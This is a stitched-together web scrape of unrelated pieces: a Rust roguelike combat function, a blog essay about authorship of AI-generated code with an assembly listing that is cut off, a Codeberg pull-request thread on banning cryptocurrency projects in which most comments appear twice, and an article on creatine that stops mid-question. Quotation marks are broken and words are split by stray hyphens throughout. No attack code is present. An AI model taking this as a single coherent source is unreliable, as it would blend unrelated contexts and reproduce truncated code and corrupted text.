fn try_­move(&mut self, dx: i32, dy: i32) { let nx = self.player.x + dx; let ny = self.player.y + dy;

// Check for mon­ster com­bat if let Some(idx) = self.world.mon­ster_at(nx, ny) { let re­sult = { let mon­ster = &mut self.world.mon­sters[idx]; re­solve_­com­bat(&mut self.player, mon­ster, &mut self.rng) };

self.mes­sages.push_­many(re­sult.mes­sages);

if re­sult.mon­ster_de­feated { let mon­ster = &self.world.monsters[idx]; let xp = mon­ster.xp_re­ward; let gold = mon­ster.gold_re­ward; self.player.xp += xp; self.player.gold += gold; if gold > 0 { self.mes­sages.push(for­mat!(“You find {} gold!”, gold)); } if self.player.try_lev­el_up() { self.mes­sages.push(for­mat!( Level up! You are now level {}!”, self.player.level )); } }

if !self.player.is_alive() { self.mes­sages.push(“You have been slain! Rest in peace…“); }

self.ad­vance_­turn(); re­turn; }

// Check ter­rain pass­abil­ity if self.world.is_­pass­able(nx, ny) { self.player.x = nx; self.player.y = ny; self.ad­vance_­turn(); } else { let ter­rain = self.world.ter­rain_at(nx, ny); self.mes­sages.push(for­mat!(“The {} blocks your path.”, ter­rain.name())); } }

I’m an ex­tremely pro­lific poly­math, I’m sure you’d agree!

I Am Uncomfortable

I don’t like ly­ing. And yet I feel, dear reader, I have mis­led you. Yes, all that has been cre­ated (including my deck) and I was the ini­tia­tor of all that cre­ation. But I don’t re­ally feel like I made any of it. I’m un­com­fort­able claim­ing that I did so.

Since you are cer­tainly aware by now that all of the above is AI-generated (except my deck, which was cre­ated by skilled, paid crafts­men), per­haps you feel a lit­tle bit of dis­com­fort with me claim­ing credit for do­ing those things, too.

However, I don’t think every­one feels this way. I know many peo­ple who ask con­trac­tors to build things and they phrase it like they built it.

I put in a new front deck,” they’d say, even though other peo­ple did all the work. Personally, I feel that’s mis­lead­ing. I’m more of a I had a new front deck put in” kind of per­son.

And when I do have Claude cre­ate some­thing for me, I just can’t say that I made it. Other peo­ple can, but I just can’t. Again, I’m more prone to say, I had this code built for me.” I don’t even feel com­fort­able MIT-licensing that (not-for-hire) work, if that’s even legally pos­si­ble. I just Unlicense it all.

As a man­ager, I’d never say that I built a prod­uct. My team built this,” I’d say. And as a man­ager of LLMs: My Agents built this.”

And that, for me, has very lit­tle weight in terms of mak­ing.

I don’t feel like I did any­thing. And I like do­ing things. I find pride in do­ing things.

Completing pro­jects is great. I love com­plet­ing pro­jects. Capitalists love com­plet­ing pro­jects. Real artists ship.

But hav­ing oth­ers com­plete pro­jects I ini­ti­ated is en­tirely less ful­fill­ing to me.

It’s not just the loss of the craft and the prob­lem-solv­ing chal­lenge and what­ever else. It’s the loss of mak­ing.

What Did I Make Recently?

My wife wanted a no-frills flash card sys­tem for learn­ing Spanish. I just want a thing where I can put the words I want in a spread­sheet and then see it on flash cards.” A prompt!

So I wrote it. By hand. I did use Claude to learn some ba­sics, like the eas­i­est way to get the data out of a Google Sheet (spoiler: it’s the CSV end­point), but I told it to gen­er­ate no code.

–––––––––––––––––––––– Language files code –––––––––––––––––––––– JavaScript 2 112 CSS 1 33 HTML 1 32 –––––––––––––––––––––– SUM: 4 177 ––––––––––––––––––––––

Didn’t take long. Only about 50x longer than it would have taken Claude to do it.

But I can put my name on that code and say that I made it. Was it a lot of code? No. Was it ground­break­ing and amaz­ing? Certainly not. But I’m in­fi­nitely more proud of that code than any­thing I’ve had Claude write, be­cause I’m not ca­pa­ble of be­ing proud of the lat­ter.

And my wife would­n’t go to her book club and say, I wrote a flash card sys­tem to study Spanish.” Admittedly, part of this would be be­cause she did­n’t want to ap­pear a geek, but mostly it’s be­cause it’s un­true, even though she ini­ti­ated the process.

What About The Art and Craft of Prompting?

After all, you cre­ate the prompts, don’t you? You said you were proud of do­ing things. Isn’t that do­ing a thing? And since so much got done, is­n’t it even more of do­ing a thing?

I don’t dis­agree. And I do agree that there is skill here in some im­por­tant ways.

You have to ap­ply vi­sion.

You have to ap­ply judg­ment.

You have to ap­ply com­mu­ni­ca­tion skill.

You have to ap­ply prompt­ing skill.

Not all prompts are equally ef­fec­tive. Not all users of AI are as ef­fec­tive as one an­other. There’s a very hu­man con­tri­bu­tion to be made here.

But the skill is in ef­fec­tively ask­ing some­one to make some­thing for you.

Leadership is the art of get­ting some­one else to do some­thing you want done be­cause he wants to do it.” —Dwight D. Eisenhower

Leadership is the art of get­ting some­one else to do some­thing you want done be­cause he wants to do it.”

—Dwight D. Eisenhower

And I’m the kind of per­son who re­ally misses the mak­ing of soft­ware. And prompt­ing for soft­ware, to me, is­n’t the same as mak­ing the soft­ware. It’s the same as ask­ing some­one else to make it.

What About Compilers, Smartypants?

Isn’t it just tur­tles all the way down?

For any given C or Rust pro­gram, did I write that pro­gram? I wrote it in C. I did­n’t write any ma­chine code. The com­puter wrote that.

There’s some­thing dif­fer­ent in my mind about that. I’m not sure if it’s the math­e­mat­i­cally-pre­cise re­la­tion­ship be­tween the C and the ma­chine code…? And yet that’s not spelled out. I’m re­ly­ing on some hack­er’s deep knowl­edge of the CPU to gen­er­ate that mag­nif­i­cent set of op­ti­mized in­struc­tions when I stu­pidly di­vide some­thing by seven. And it’s not de­ter­min­is­tic, strictly, in that Clang and GCC emit dif­fer­ent in­struc­tions. What about dif­fer­ent plat­forms? The C is portable and the ma­chine code is not. Did I write that pro­gram that’s run­ning on Windows even though I per­son­ally only ever built it on Linux?

Going fur­ther in the murky gray, what if I in­struct an LLM to be a C com­piler and emit as­sem­bly code for some plat­form?

Let’s try:

Convert this C pro­gram into x86_64 as­sem­bly for Linux.

#include <stdio.h>

int fib(int n) { if (n <= 1) re­turn n; re­turn fib(n-1) + fib(n-2); }

int main(void) { for (int i = 0; i < 10; i++) printf(“%d: %d\n”, i, fib(i)); }

Claude says:

# fib.s - Recursive Fibonacci, x86_64 Linux, AT&T syn­tax # Build: gcc fib.s -o fib -no-pie

.section .rodata fmt: .string %d: %d\n”

.section .text .globl main

# ┌─────────────────────────────────────────────────────┐ # │ int fib(int n) n in: %edi / re­turn: %eax │ # │ Stack frame: │ # │ %rbp-8 = saved %rbx (via push) │ # │ %rbp-12 = n (spilled so it sur­vives both calls) │ # └─────────────────────────────────────────────────────┘ fib: pushq %rbp movq %rsp, %rbp pushq %rbx # callee-saved scratch subq $8, %rsp # 1 lo­cal (int n); keeps stack 16-byte aligned

movl %edi, -12(%rbp) # spill n to stack

cmpl $1, %edi jle  .Lbase # n <= 1 → re­turn n

# –- fib(n-1) –- movl -12(%rbp), %edi subl $1, %edi call fib movl %eax, %ebx # %ebx = fib(n-1)

# –- fib(n-2) –- movl -12(%rbp), %edi # re­load n (call clob­bered %edi) subl $2, %edi call fib # %eax = fib(n-2)

addl %ebx, %eax # re­turn fib(n-1) + fib(n-2) jmp  .Lret

.Lbase: movl %edi, %eax # re­turn n

.Lret: addq $8, %rsp popq %rbx popq %rbp ret

# ┌─────────────────────────────────────────────────────┐ # │ int main(void) │ # │ Stack frame: │ # │ %rbp-4 = int i (loop counter) │ # └─────────────────────────────────────────────────────┘ main: pushq %rbp movq %rsp, %rbp subq $16, %rsp # lo­cals + align­ment

movl $0, -4(%rbp) # i = 0

.Lloop: cmpl $10, -4(%rbp) jge  .Ldone # i >= 10 → exit

# fib(i) movl -4(%rbp), %edi call fib

# printf(“%d: %d\n”, i, fib(i)) movl -4(%rbp), %esi # arg2 = i movl %eax, %edx # arg3 = fib(i) leaq fmt(%rip), %rdi # arg1 = fmt (RIP-relative) xorl %eax, %eax # AL=0: no XMM args to printf call printf

addl $1, -4(%rbp) # i++ jmp  .Lloop

Proposal for Assembly 2026: Disallow cryptocurrency projects

codeberg.org

Owner

Copy link

Copy link

Need to be care­ful with word­ing like this. If you are go­ing to pro­vide ex­am­ples you need to make it clear it is not an ex­haus­tive list:

Content that harms the rep­u­ta­tion of Codeberg, such as - but not lim­ited to - cryp­tocur­rency re­lated pro­jects.”

Need to be care­ful with word­ing like this. If you are go­ing to pro­vide ex­am­ples you need to make it clear it is not an ex­haus­tive list:

Content that harms the rep­u­ta­tion of Codeberg, such as - but not lim­ited to - cryp­tocur­rency re­lated pro­jects.”

Author

Owner

Copy link

The text is now as-is be­cause it was send out for votes. Small clar­i­fi­ca­tions can be made af­ter­wards by Presidium or Board. The whole spirit of the vote makes it clear this is a not lim­ited to” case.

The text is now as-is be­cause it was send out for votes. Small clar­i­fi­ca­tions can be made af­ter­wards by Presidium or Board. The whole spirit of the vote makes it clear this is a not lim­ited to” case.

First-time con­trib­u­tor

Copy link

Is there a de­f­i­n­i­tion of cryptocurrency-related” some­where?

Is there a de­f­i­n­i­tion of cryptocurrency-related” some­where?

Author

Owner

Copy link

This has passed.

This has passed.

![image](/attachments/73b8c345-cb43 – 44b9-b172 – 5c76f521a5e0)

Gusted

ref­er­enced this pull re­quest from a com­mit 2026 – 07-22 02:02:29 +02:00

First-time con­trib­u­tor

Copy link

Fk hell I just moved to a forge that banned bit­coin! Is this a joke??? https://​blog.code­berg.org/​we-stay-strong-against-hate-and-ha­tred.html

First-time con­trib­u­tor

Copy link

Please ex­plain how do cryp­tocur­rency pro­jects harm code­berg’s rep­u­ta­tion

https://​fo­rum.code­berg.org/​d/​82-tak­ing-a-stance-against-cryp­tocur­rency The page you re­quested could not be found.”

https://​fo­rum.code­berg.org/​d/​82-tak­ing-a-stance-against-cryp­tocur­rency The page you re­quested could not be found.”

Codeberg/Community#794 Codeberg/Community#2184 These do­mains are strongly as­so­ci­ated with fraud­u­lent ac­tiv­i­ties and high-risk in­vest­ments

Codeberg/Community#794 Codeberg/Community#2184 These do­mains are strongly as­so­ci­ated with fraud­u­lent ac­tiv­i­ties and high-risk in­vest­ments

Not all of them are about it. First of all, in con­text of so called code forges, this is a tech. What kind of headache do you have, that you judge the whole group by iso­lated cases, and block ANY such pro­jects, even those that have real tech­ni­cal value?

Please ex­plain how do cryp­tocur­rency pro­jects harm code­berg’s rep­u­ta­tion

> https://​fo­rum.code­berg.org/​d/​82-tak­ing-a-stance-against-cryp­tocur­rency The page you re­quested could not be found.”

> Codeberg/Community#794 > Codeberg/Community#2184 > These do­mains are strongly as­so­ci­ated with fraud­u­lent ac­tiv­i­ties and high-risk in­vest­ments

Not all of them are about it. First of all, in con­text of so called code forges, this is a tech. What kind of headache do you have, that you judge the whole group by iso­lated cases, and block ANY such pro­jects, even those that have real tech­ni­cal value?

First-time con­trib­u­tor

Copy link

When some pro­jects were trans­ferred over, you started be­hav­ing strangely.

When some pro­jects were trans­ferred over, you started be­hav­ing strangely.

First-time con­trib­u­tor

Copy link

While I re­spect this seems to have been a com­mu­nity de­ci­sion (I also de­spise the amount of fraud com­ing from the crypto space), this does set quite a con­cern­ing prece­dent, and makes me a lit­tle ner­vous to con­tinue rec­om­mend­ing Codeberg.

Banning an en­tire cat­e­gory of soft­ware based on bad ac­tors within that cat­e­gory is ex­treme, and pre­vents any healthy crypto pro­jects from emerg­ing here.

While I re­spect this seems to have been a com­mu­nity de­ci­sion (I also de­spise the amount of fraud com­ing from the crypto space), this does set quite a con­cern­ing prece­dent, and makes me a lit­tle ner­vous to con­tinue rec­om­mend­ing Codeberg.

Banning an en­tire cat­e­gory of soft­ware based on bad ac­tors within that cat­e­gory is ex­treme, and pre­vents any healthy crypto pro­jects from emerg­ing here.

First-time con­trib­u­tor

Copy link

I’m work­ing on a pro­ject aimed at bring­ing pri­vacy, se­cu­rity, and au­ton­omy to at risk peo­ple groups. The lan­guage in this mo­tion means I can no longer host it here. Is this what the Codeberg com­mu­nity voted for? The short-sight­ed­ness and in­com­pe­tency is mind blow­ing. What do you call it when a group of peo­ple come to­gether to weaponize their hate against a whole cat­e­gory of de­vel­op­ers? Anyone?

I’m work­ing on a pro­ject aimed at bring­ing pri­vacy, se­cu­rity, and au­ton­omy to at risk peo­ple groups. The lan­guage in this mo­tion means I can no longer host it here. Is this what the Codeberg com­mu­nity voted for? The short-sight­ed­ness and in­com­pe­tency is mind blow­ing. What do you call it when a group of peo­ple come to­gether to weaponize their hate against a whole cat­e­gory of de­vel­op­ers? Anyone?

First-time con­trib­u­tor

Copy link

I don’t even un­der­stand the logic be­hind this? Because some cryp­tocur­ren­cies are shady and bad, every sin­gle crypto pro­ject should not be al­lowed onto Codeberg? What if some­one is study­ing blockchains and want to im­ple­ment their own crypto? This is ex­tremely in­sane to me.

I don’t even un­der­stand the logic be­hind this? Because some cryp­tocur­ren­cies are shady and bad, every sin­gle crypto pro­ject should not be al­lowed onto Codeberg? What if some­one is study­ing blockchains and want to im­ple­ment their own crypto? This is ex­tremely in­sane to me.

First-time con­trib­u­tor

Copy link

I’m sure you have some morally high rea­sons to stand against cryp­tocur­rency, but the illicit trade” and evasion of sanc­tions” cited by source­hut (since you seem to base your de­ci­sion on it) are also what al­lows reg­u­lar peo­ple, in­clud­ing LGBTQ+ peo­ple, liv­ing in sanc­tioned coun­tries (which also, what a sur­prise, turn out to be un­safe for LGBTQ+ folk a lot of the time), to buy goods and send/​re­ceive money from abroad with­out be­ing pros­e­cuted by their gov­ern­ments (hi for­eign agent laws! hi extremism” and terrorism” laws!).

I’m sorry, anti-war trans­gen­der per­son stuck in Russia, but from our moral stance, you should­n’t be able to pur­chase HRT from a lab us­ing your XMR wal­let. nor should your friend be able to pay for their for­eign VPN VDS that they use to by­pass the in­ter­net re­stric­tions in USDT. the pro­jects you used for this were hosted on Codeberg and not some other plat­form? well, too bad, they’ll have to go some­place else that minds your ex­is­tence or is wel­com­ing to cryp­tocur­rency as a whole, and you will wait. you and the tools you use will move to a greedy cor­po­rate host­ing that is likely to im­pose its own re­stric­tions on you in the fu­ture, or, even bet­ter, move to a less re­li­able self-hosted op­tion, one per each tool to make it less main­tain­able and less ac­ces­si­ble.

by tak­ing this stance, at least from my per­spec­tive, you’re just pro­ject­ing your morally high delu­sion of dirty il­licit 3rd world crypto scam­mers that are dam­ag­ing the moral pu­rity of Codeberg by… host­ing code for their pro­jects here?! which, mind you, al­most all the time will just con­tain tools, tools to do good or bad. do you want to ban BitTorrent-related pro­jects from Codeberg next be­cause they are mostly used to get il­le­gal ac­cess to un­li­censed dig­i­tal goods and ser­vices (piracy)” and also take up world band­width and com­pute? how about ban­ning YouTube down­load­ers af­ter those? hey, let’s make it clear that Codeberg will not stand a sin­gle repo on its plat­form that in­volves en­crypted mes­sag­ing: you know only crim­i­nals use Matrix, right?

I’m sure you have some morally high rea­sons to stand against cryp­tocur­rency, but the illicit trade” and evasion of sanc­tions” cited by source­hut (since you seem to base your de­ci­sion on it) are also what al­lows reg­u­lar peo­ple, in­clud­ing LGBTQ+ peo­ple, liv­ing in sanc­tioned coun­tries (which also, what a sur­prise, turn out to be un­safe for LGBTQ+ folk a lot of the time), to buy goods and send/​re­ceive money from abroad with­out be­ing pros­e­cuted by their gov­ern­ments (hi for­eign agent laws! hi extremism” and terrorism” laws!).

I’m sorry, anti-war trans­gen­der per­son stuck in Russia, but from our moral stance, you should­n’t be able to pur­chase HRT from a lab us­ing your XMR wal­let. nor should your friend be able to pay for their for­eign VPN VDS that they use to by­pass the in­ter­net re­stric­tions in USDT. the pro­jects you used for this were hosted on Codeberg and not some other plat­form? well, too bad, they’ll have to go some­place else that minds your ex­is­tence or is wel­com­ing to cryp­tocur­rency as a whole, and you will wait. you and the tools you use will move to a greedy cor­po­rate host­ing that is likely to im­pose its own re­stric­tions on you in the fu­ture, or, even bet­ter, move to a less re­li­able self-hosted op­tion, one per each tool to make it less main­tain­able and less ac­ces­si­ble.

by tak­ing this stance, at least from my per­spec­tive, you’re just pro­ject­ing your morally high delu­sion of dirty il­licit 3rd world crypto scam­mers that are dam­ag­ing the moral pu­rity of Codeberg by… host­ing code for their pro­jects here?! which, mind you, al­most all the time will just con­tain tools, *tools* to do good or bad. do you want to ban BitTorrent-related pro­jects from Codeberg next be­cause they are mostly used to get il­le­gal ac­cess to un­li­censed dig­i­tal goods and ser­vices (piracy)” and also take up world band­width and com­pute? how about ban­ning YouTube down­load­ers af­ter those? hey, let’s make it clear that Codeberg will not stand a sin­gle repo on its plat­form that in­volves en­crypted mes­sag­ing: you know only crim­i­nals use Matrix, right?

First-time con­trib­u­tor

Copy link

The vague­ness of the term such as cryp­tocur­rency re­lated pro­jects.” has ma­te­ri­ally dam­aged Codebergs rep­u­ta­tion in my eyes, and given the com­ments above, I am not alone. Therefore un­der its own con­struc­tion that Content that harms the rep­u­ta­tion of Codeberg” should have been self de­feat­ing and not al­lowed un­der its own pol­icy.

Examples of POTENTIAL crytpocurrency re­lated pro­jects”:

ZK Proof Libraries.

Blake and SHA HASH Libraries.

PQ Crypto, ED25519 or ECDSA (secp256k1)

ANYTHING to do with LibP2P or sim­i­lar li­braries.

ANYTHING to do with BFT Consensus or other con­sen­sus al­go­rithms.

So The only safe pol­icy is to as­sume that Codeberg is ba­si­cally anti-cryp­tog­ra­phy. Because most all cryp­tog­ra­phy at some level of re­la­tion­ship be­comes a cryptocurrency re­lated pro­ject”.

And in who’s view is the rep­u­ta­tional dam­age judged? An opaque se­lect com­mit­tee? Corporate spon­sors? The rule is sim­ply po­lit­i­cal cover for Codeberg to say We don’t like you even though your code is le­gal, see our TermsOfUse which says, po­lit­i­cally ac­cept­able pro­jects are OK, and we de­fine what is po­lit­i­cally ac­cept­able, and what­ever cryptocurrency re­lated pro­jects’ mean are not po­lit­i­cally ac­cept­able, and so might other un­de­fined stuff we haven’t de­cided on yet.”

Needless to say, I wont be adding any more pro­jects to Codeberg and I will move away from it as a plat­form. To be clear none of them are Cryptocurrency re­lated” by my in­ter­pre­ta­tion, but hey, I did make a CBOR toolkit, and Cardano, a cryp­tocur­rency pro­ject, uses a lot of CBOR, so maybe that is Cryptocurrency re­lated”… Who’s to know?

The vague­ness of the term such as cryp­tocur­rency re­lated pro­jects.” has ma­te­ri­ally dam­aged Codebergs rep­u­ta­tion in my eyes, and given the com­ments above, I am not alone. Therefore un­der its own con­struc­tion that Content that harms the rep­u­ta­tion of Codeberg” should have been self de­feat­ing and not al­lowed un­der its own pol­icy.

Examples of POTENTIAL crytpocurrency re­lated pro­jects”: * ZK Proof Libraries. * Blake and SHA HASH Libraries. * PQ Crypto, ED25519 or ECDSA (secp256k1) * ANYTHING to do with LibP2P or sim­i­lar li­braries. * ANYTHING to do with BFT Consensus or other con­sen­sus al­go­rithms.

So The only safe pol­icy is to as­sume that Codeberg is ba­si­cally anti-cryp­tog­ra­phy. Because most all cryp­tog­ra­phy at some level of re­la­tion­ship be­comes a cryptocurrency re­lated pro­ject”.

And in who’s view is the rep­u­ta­tional dam­age judged? An opaque se­lect com­mit­tee? Corporate spon­sors? The rule is sim­ply po­lit­i­cal cover for Codeberg to say We don’t like you even though your code is le­gal, see our TermsOfUse which says, po­lit­i­cally ac­cept­able pro­jects are OK, and we de­fine what is po­lit­i­cally ac­cept­able, and what­ever cryptocurrency re­lated pro­jects’ mean are not po­lit­i­cally ac­cept­able, and so might other un­de­fined stuff we haven’t de­cided on yet.”

Needless to say, I wont be adding any more pro­jects to Codeberg and I will move away from it as a plat­form. To be clear none of them are Cryptocurrency re­lated” by my in­ter­pre­ta­tion, but hey, I did make a CBOR toolkit, and Cardano, a cryp­tocur­rency pro­ject, uses a lot of CBOR, so maybe that is Cryptocurrency re­lated”… Who’s to know?

First-time con­trib­u­tor

Copy link

@stevenj wrote in #1254 (comment):

And in who’s view is the rep­u­ta­tional dam­age judged?

And in who’s view is the rep­u­ta­tional dam­age judged?

com­mu­nity, lol. AFAIK, any­one could par­tic­i­pate in that poll. so some ran­dom peo­ple that think crypto is bad blah blah blah” can re­ally ruin Codeberg’s rep­u­ta­tion by vot­ing for ban­ning crypto-re­lated pro­jects

@stevenj wrote in https://​code­berg.org/​Code­berg/​org/​pulls/​1254#is­suecom­ment-19918582:

> And in who’s view is the rep­u­ta­tional dam­age judged?

com­mu­nity, lol. AFAIK, any­one could par­tic­i­pate in that poll. so some ran­dom peo­ple that think crypto is bad blah blah blah” can _really_ ruin Codeberg’s rep­u­ta­tion by vot­ing for ban­ning crypto-re­lated pro­jects

First-time con­trib­u­tor

Copy link

@stevenj wrote in #1254 (comment):

I did make a CBOR toolkit, and Cardano, a cryp­tocur­rency pro­ject, uses a lot of CBOR, so maybe that is Cryptocurrency re­lated”… Who’s to know?

I did make a CBOR toolkit, and Cardano, a cryp­tocur­rency pro­ject, uses a lot of CBOR, so maybe that is Cryptocurrency re­lated”… Who’s to know?

to re­ally push this joke fur­ther, let’s go ban Zig as it is used by Solana val­ida­tor soft­ware (the source of most rug­pull meme­coins)!

@stevenj wrote in https://​code­berg.org/​Code­berg/​org/​pulls/​1254#is­suecom­ment-19918582:

> I did make a CBOR toolkit, and Cardano, a cryp­tocur­rency pro­ject, uses a lot of CBOR, so maybe that is Cryptocurrency re­lated”… Who’s to know?

to re­ally push this joke fur­ther, let’s go ban Zig as it is used by [Solana val­ida­tor soft­ware](https://​github.com/​Syn­dica/​sig) (the source of most rug­pull meme­coins)!

Does creatine make you smarter?

dynomight.net

Is cre­a­tine a weird steroid-like hor­mone or drug?

No. Creatine is a nu­tri­ent. Most om­ni­vores eat a gram or two per day from meat. Your body also syn­the­sizes a gram or two per day. You need cre­a­tine to de­liver en­ergy in­side of cells. It is nor­mal and non-weird.

Does cre­a­tine in­crease testos­terone?

Unlikely. This con­cern comes from one study in 2009 on 16 male rugby play­ers.1 But that study is con­sid­ered ex­tremely sus­pect. There have been at least twelve other stud­ies that all found no change or phys­i­o­log­i­cally ir­rel­e­vant changes. Beyond that, it’s im­plau­si­ble that cre­a­tine would in­crease testos­terone, be­cause we know what cre­a­tine does and it has noth­ing to do with hor­mones.

Does cre­a­tine make you go bald?

No. Or, rather:

No study ever re­ported that.

One study re­ported the op­po­site.

There is no mech­a­nis­tic rea­son to think that would hap­pen.

There are good mech­a­nis­tic rea­sons to think that would not hap­pen.

These ru­mors all trace back to spec­u­la­tion built on top of that same sin­gle 2009 study. But that study is con­tra­dicted by later re­search, and any­way did­n’t mea­sure hair. Anything is pos­si­ble, but as far as I can tell, it’s equally plau­si­ble that cre­a­tine would in­crease hair growth. And if you’re re­ally wor­ried about this: Are you go­ing to stop eat­ing meat?

Is cre­a­tine safe?

Probably. The International Society of Sports Nutrition says:

Available short and long-term stud­ies in healthy and dis­eased pop­u­la­tions, from in­fants to the el­derly, at dosages rang­ing from 0.3 to 0.8 g/kg/day for up to 5 years have con­sis­tently shown that cre­a­tine sup­ple­men­ta­tion poses no ad­verse health risks and may pro­vide a num­ber of health and per­for­mance ben­e­fits.

Available short and long-term stud­ies in healthy and dis­eased pop­u­la­tions, from in­fants to the el­derly, at dosages rang­ing from 0.3 to 0.8 g/kg/day for up to 5 years have con­sis­tently shown that cre­a­tine sup­ple­men­ta­tion poses no ad­verse health risks and may pro­vide a num­ber of health and per­for­mance ben­e­fits.

It’s been stud­ied ex­ten­sively, and no risks have been found. The way it works does­n’t sug­gest any risks. And sup­ple­ment­ing a few grams per day does­n’t put you far out­side the range that peo­ple get from nor­mal food.

Does cre­a­tine make you stronger?

Yes. It’s very rare for a sup­ple­ment to have such strong and con­sis­tent ev­i­dence. A widely-cited re­view says that short-term sup­ple­men­ta­tion in­creases max­i­mal power/​strength by 5 – 15%. This in turn may in­crease the long-term gainz from strength-train­ing ex­er­cise. Creatine also in­creases sprint per­for­mance by 1 – 5%. Though, there seems to be lit­tle if any ben­e­fit for en­durance ex­er­cise like long-dis­tance run­ning.

But how does cre­a­tine make you stronger?

Before an­swer­ing that, can I go on a rant about how mus­cles work?

…OK?

Great! Here’s how mus­cles work:

All cells have a mol­e­cule called ATP float­ing around in­side, which they use for en­ergy.

Muscle cells have pro­teins in them called myosin.

When ATP bumps into myosin, the myosin breaks the ATP down into ADP. This re­leases en­ergy which is phys­i­cally cap­tured by the myosin as elas­tic strain.

When trig­gered by neu­rons, myosin re­leases that me­chan­i­cal en­ergy.

When you de­cide to move your arm, your brain trig­gers many mus­cle cells, care­fully or­ches­trat­ing the myosin twitches into large-scale move­ment.

Now, here’s some­thing that’s cru­cial for our story: Very lit­tle en­ergy is stored as ATP. Your body con­tains ~100 grams of ATP, rep­re­sent­ing ~10,000 joules of en­ergy.2 But your body at rest burns ~100 watts. So you only store enough ATP to keep your­self alive for ~100 sec­onds. If you sprint, you could eas­ily burn ~3000 watts, which would use all your stored ATP in ~3 sec­onds.

Through the magic of eat­ing, you’re al­ways mak­ing more ATP. Typically, your mi­to­chon­dria re­cy­cle ~1 gram of ADP back into ATP per sec­ond, the same amount you need to stay alive.3 If you start run­ning, your body can ramp that up to ~10 grams per sec­ond, though tricks like breath­ing faster and speed­ing up your heart.4 But it takes a minute or two for your mi­to­chon­dria to re­ally get crank­ing.5

So then why am I able to sprint for longer than three sec­onds?

Because cre­a­tine acts as an ad­di­tional en­ergy reser­voir, cou­pled to the ATP reser­voir. After you eat or syn­the­size cre­a­tine, 60% is con­verted into phos­pho­cre­a­tine. This is done by an en­zyme that grabs a cre­a­tine mol­e­cule and an ATP mol­e­cule and moves a phos­phate group be­tween them. This charges” the cre­a­tine into phos­pho­cre­a­tine and discharges” the ATP into ADP.6

But if your ATP lev­els drop—e.g. be­cause you’re run­ning away from a tiger—those en­zymes will run in re­verse, mean­ing they discharge” phos­pho­cre­a­tine into cre­a­tine and charge” ADP back into ATP. This hap­pens al­most in­stantly, so that ATP and phos­pho­cre­a­tine de­plete at the same rate.7

At rest, your mus­cles con­tain around 3 – 4 times as much phos­pho­cre­a­tine as ATP. So the extra” en­ergy stor­age in phos­pho­cre­a­tine is much larger than the base” stor­age in ATP it­self. That’s why you can sprint for ten sec­onds rather than just three sec­onds.

Does sup­ple­ment­ing cre­a­tine in­crease cre­a­tine lev­els in mus­cle cells?

Yes. Typical lev­els are:

Vegetarian: 100 mmol / kg

Omnivore: 120 mmol / kg

Someone who sup­ple­ments cre­a­tine: 140 mmol / kg

So, every­thing seems to add up. If you sup­ple­ment cre­a­tine, you in­crease your lev­els by ~16.67%, im­ply­ing ~12.5% more to­tal short-term en­ergy stor­age.8 That’s in line with the 5 – 15% in­crease in strength seen in cre­a­tine tri­als.9 It also seems to make sense that cre­a­tine tri­als find lit­tle ben­e­fit for en­durance ex­er­cise. If you don’t have sud­den bursts of ac­tiv­ity, a larger short-term en­ergy reser­voir won’t re­ally help you.

But is­n’t this all very strange?

Well, I find it strange. All else equal, more strength is good. The body al­ready knows how to make cre­a­tine. If you can just raise cre­a­tine lev­els and get more strength with no down­sides, then should­n’t evo­lu­tion have done this al­ready? Some vari­ant of the Algernon ar­gu­ment would sug­gest that the fact that cre­a­tine works so well should be im­pos­si­ble.

You might think that higher cre­a­tine lev­els are bad some­how, and that’s why evo­lu­tion did­n’t make them higher. But that seems wrong. Creatine lev­els vary nat­u­rally based on what you eat. If higher lev­els were bad, evo­lu­tion could have brought them down. But it does­n’t. It just lets them vary.

Often, evo­lu­tion makes us worse” to re­duce our en­ergy ex­pen­di­tures, be­cause evo­lu­tion hates it when we starve to death.10 But the body only spends 1 – 2 calo­ries per day syn­the­siz­ing cre­a­tine, and more cre­a­tine in mus­cle cells does­n’t have any sig­nif­i­cant meta­bolic cost.

I think the bor­ing ex­pla­na­tion is that for our evo­lu­tion­ary an­ces­tors, mod­est in­creases in short-term strength just weren’t a big deal. We were ex­haus­tion hunters, not 1-rep max dead­lift hunters.11 Also, more cre­a­tine causes your mus­cle cells to draw in some ex­tra wa­ter, which slightly in­creases en­ergy us­age for long-dis­tance run­ning.12 So, if you hap­pened to get ex­tra cre­a­tine from meat, great. If not, what­ever. In the range where cre­a­tine fluc­tu­ates based on diet, I sus­pect cre­a­tine lev­els just did­n’t have much im­pact on re­pro­duc­tive suc­cess.

Still, we must ac­knowl­edge that cre­a­tine is un­usual. I wish we could tell our bod­ies, Hey, we have ac­cess to un­lim­ited amounts of food. Stop wor­ry­ing about con­serv­ing en­ergy and con­cen­trate on be­ing awe­some.” But we have very few ways to do that. As far as I can tell, the list of nor­mal nu­tri­ents that have been proven to in­crease strength is: pro­tein, cre­a­tine, beta-ala­nine, the end.

So cre­a­tine is spe­cial. And cre­a­tine makes you a lit­tle stronger. Does it make you a lit­tle smarter, too?

Is cre­a­tine used by the brain?

Yes. Most parts of the body don’t con­tain sig­nif­i­cant cre­a­tine. But the brain does, along with mus­cles, the heart, and testes. Neurons use it to play the same game mus­cles do with ATP and phos­phate groups and so on.

How much cre­a­tine is in the brain?

Maybe half as much as in mus­cle. The num­ber of in­ter­est here is the ra­tio of phos­pho­cre­a­tine to ATP, in­di­cat­ing how much phos­pho­cre­a­tine in­creases lo­cal en­ergy stor­age. We saw above that in mus­cle, that ra­tio is 3 to 4. In the brain, the num­bers are a lit­tle sketchy, but the ra­tio seems to be more like 1.5 to 2.13

But why? Why would the brain use cre­a­tine?

Good ques­tion! The brain does­n’t have bursts of en­ergy us­age like mus­cles do. Yes, the brain uses ~20% of all calo­ries de­spite only mak­ing up ~2% of body mass. But the brain is un­usual in that it needs all that en­ergy just for ba­sic house­keep­ing, and does­n’t ramp up with us­age. Contrary to the com­mon myth, think­ing hard does not burn sig­nif­i­cantly more calo­ries. (Demonstration: Start think­ing hard, and watch as your heart rate does not in­crease.)

So mus­cles use cre­a­tine for sprints. But the brain does­n’t have sprints. So what the hell is the brain us­ing cre­a­tine for?

